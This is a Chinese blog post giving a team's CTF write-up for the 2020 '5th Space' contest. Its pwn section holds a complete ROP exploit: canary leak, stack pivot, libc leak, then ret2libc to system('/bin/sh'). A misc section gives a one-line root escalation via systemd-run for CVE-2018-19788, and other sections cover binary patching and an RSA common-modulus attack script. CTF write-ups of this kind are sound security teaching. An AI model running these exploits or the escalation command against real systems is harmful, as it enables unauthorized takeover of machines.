avatar

目录
2020"第五空间"智能安全大赛 GXY战队部分Writeup

wp中所有题目的附件可以在这里 5space 下载

Pwn

twice

首先看下保护方式,有canary,没开PIE

shell
1
2
3
4
5
6
[*] '/home/taqini/Downloads/5space/twice/twice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

然后分析程序,在main函数中调用了两次sub_4007A9函数(存在栈溢出),其中第一次读89字节,第二次读112字节

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp){
for ( nCount = InitData(*&argc, argv, envp); sub_4007A9(nCount); ++nCount )
;
return 0;
}

__int64 __fastcall sub_4007A9(int a1){
unsigned int v2; // [rsp+14h] [rbp-6Ch]
int v3; // [rsp+18h] [rbp-68h]
int v4; // [rsp+1Ch] [rbp-64h]
char s[88]; // [rsp+20h] [rbp-60h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, 0x50uLL);
putchar(62);
v3 = sub_40076D(80LL, 0LL); // 1:80+9 2:80+32
if ( a1 ){
if ( a1 != 1 )
return 0LL;
v2 = 0;
}
else{
v2 = 1;
}
v4 = read(0, s, v3);
puts(s);
if ( !a1 )
s[v4 - 1] = 0;
return v2;
}

在读完之后有一个puts函数可以输出buf中的数据,第一次read读89字节(只能覆盖到canary),因此可以覆盖canary末尾'\x00',然后利用putscanaryrbp的值都打印出来(进而可以算得栈中buf的地址)

python
1
2
3
4
5
6
7
# rop1
sea('>',cyclic(89))
ru(cyclic(89))
canary = u64('\x00'+rc(7))
info_addr('canary',canary)
stack = uu64(rc(6))
info_addr('stack',stack)

第二次read的时候,复原canary,然后把栈迁移到buf开头的rop链中,完成libc的泄漏并返回到main

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = p64(stack-0x70)
payload+= p64(prdi) + p64(elf.got['puts']) + p64(elf.sym['puts'])
payload+= p64(elf.sym['main'])
payload = payload.ljust(88,'A')
payload+=p64(canary)
payload+= p64(stack-0x70)
payload+= p64(leave)
sea('>',payload)

puts = uu64(ru('\x0a\x3e')[-6:])
info_addr('puts',puts)
libcbase = puts - libc.sym['puts']
info_addr('libcbase',libcbase)
binsh = libcbase + libc.search('/bin/sh').next()
system = libcbase + libc.sym['system']
info_addr('binsh',binsh)
info_addr('system',system)

第二次执行main函数的时候就直接ret2libc执行system('/bin/sh')就好啦

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# rop2
se(cyclic(89))
ru(cyclic(89))
canary = u64('\x00'+rc(7))
info_addr('canary',canary)
stack = uu64(rc(6))
info_addr('stack',stack)

payload = cyclic(8)
payload+= p64(prdi) + p64(binsh) + p64(system)
payload+= p64(elf.sym['main'])
payload = payload.ljust(88,'A')
payload+=p64(canary)
payload+= p64(stack-0x70)
payload+= p64(leave)
sea('>',payload)
p.interactive()

flag{cvbEH0Q35q2lHE1KBQobYjqyp4}

完整的exp详见 twice

Misc

loop

附件下载:loop

给了一个zip文件,解压完了是个tarfile,再解压还是zipfile,所以,写个脚本无脑解压缩即可。

python
1
2
3
4
5
6
7
8
#!/usr/bin/python
#__author__:TaQini
from os import system
while True:
    system('tar xvf tarfile')
    system('rm -rf tarfile')
    system('unzip zipfile')
    system('rm -rf zipfile')

run

附件下载:run.exe

给的附件里面有个文档,没发现有什么用,此外还有一个run.exe:

用binwalk可以分离出三个文件:.exe .tif .xml

在exe文件中发现字符串tif ,定位之,发现 0x411c30 处的有类似base64的可疑字符串 njCp1HJBPLVTxcMhUHDPwE7mPW

tif文件用ps打开,去掉矩形图层,可以得到一段加密代码

用这玩意解密那串可疑字符串就能得到flag:

python
1
2
3
4
5
6
7
8
9
10
In [8]: a='njCp1HJBPLVTxcMhUHDPwE7mPW'
In [9]: c=''
In [10]: for i in range(len(a)):
    ...:     if not i%2==0:
    ...:         c+=chr(ord(a[i])+1)
    ...:     else:
    ...:         c+=chr(ord(a[i])-1)
    ...:       
In [11]: c
Out[11]: 'mkBq0IICOMUUwdLiTICQvF6nOX'

flag{mkBq0IICOMUUwdLiTICQvF6nOX}

麒麟系统

平时用惯了 init 0 关机的我,拿到了ssh的题目,本能的试着输入 init 6 ,看看能重启不?(果然)用不了,不过有报错:

提示我输入 systemctl reboot -i我就照做了,没想到…还真的重启了,然后题。就。挂。了。。于是赶紧去找运维…

题目貌似一直没修好,不过顺着刚才的报错:

ERROR:pkttyagent.c:146:main: assertion failed

百度了一下,很轻松的就找到了CVE-2018-19788,然后github去搜poc,找到个一句话提权:

systemd-run -t /bin/bash https://github.com/Ekultek/Po

期间题目挂了很多次,甚至被大家用wall命令云聊天2333,出题人快去面壁

最后趁着题目修好,试了一下,可以。

shell
1
2
[kylin-user@localhost ~]$ id
uid=4000000000(kylin-user) gid=4000000000(kylin-user) groups=4000000000(kylin-user)

比赛快结束的时候又去复现了一下reboot,居然还没修好…

p.s.这种能直接提权到root的题,权限很难控制,拿到root直接 rm -rf /题就没了(诶?好像不行),不过即使是重启也很影响大家做题,太容易被搅屎了,用户密码什么的都可以随便改,大概只有动态靶机能解决叭~

philosopher

附件下载: philosopher.exe

附件是个exe,用binwalk分析出来一堆文件:

刚开始还以为是re,对着exe调到眼花也没明白啥意思…另外那个gif文件一打开吓了我一跳…把每帧分离出来也没什么线索…后来试着只保留开头0-0x18c1的PE文件,结果运行一下报就错了,说没有data段:

于是看了下exe后面的这个声称是mcrypt加密的data,发现既有字符串KERNEL32.dll,又有FL4G、LOVE等字眼:

在hex编辑器中定位到FL4G字符串:

然后对比正常PNG文件,可以发现这里是把PNG的文件头改了,把LOVE改成.PNG(出题人脑洞?)再用binwalk分析就能看到PNG文件了:

提取出来即可:

Reverse

nop

附件下载:nop

有三个反调试函数 0x0804857b,0x080485c4, 0x0804865b,直接全部nop掉。得到main函数如下:

c++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main(undefined4 param_1, undefined4 *param_2){
   fcn.0804865b(*param_2);
   puts("input your flag");
   __isoc99_scanf(0x8048832, 0x804a038);
   *(int32_t *)0x804a038 = *(int32_t *)0x804a038 + 1;
   fcn.0804857b();
   *(int32_t *)0x804a038 = *(int32_t *)0x804a038 + 1;
   fcn.080485c4();
   *(int32_t *)0x804a038 = *(int32_t *)0x804a038 + -0x33333334;
   fcn.080485c4();
   *(int32_t *)0x804a038 = *(int32_t *)0x804a038 + 1;
   fcn.080485c4();
   // WARNING: Could not recover jumptable at 0x08048751. Too many branches
   // WARNING: Treating indirect jump as call
  (*(code *)0x8048753)();
   return;
}

0x804a038是flag,是个有符号的整型数,随便瞎输入个数字,就直接报错了:

shell
1
2
3
4
% ./new 
input your flag
2333
[1]    17904 segmentation fault (core dumped) ./new

调试一下发现0x804a038最终的值必须得是一个指针。

最终判断wrong还是right的函数如下:

0x8048753处的函数是将0x804a038中指针指向的地址的两字节nop掉

0x8048765这里默认是执行jmp 0x8048779 跳转到输出wrong,所以需要把这两字节的指令nop掉,才会输出right

根据main函数中的与0x804a038相关的代码可以得到:

flag+1+1-0x33333334+1 = 0x8048765

最终解得flag = 993507990

flag{993507990}

Crypto

rosb

easy RSA 共模攻击,没得说直接上脚本

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
#__author__:TaQini
import sys
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
sys.setrecursionlimit(1000000)
e1 = 0xf4c1158fL
e2 = 0xf493f7d1L
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707L
c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbL
n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557L
if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')[:-64]

flag: g0od_go0d_stu4y_d4yd4y_Up

文章作者: TaQini
文章链接: http://taqini.space/2020/06/25/2020-5space-GXY-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论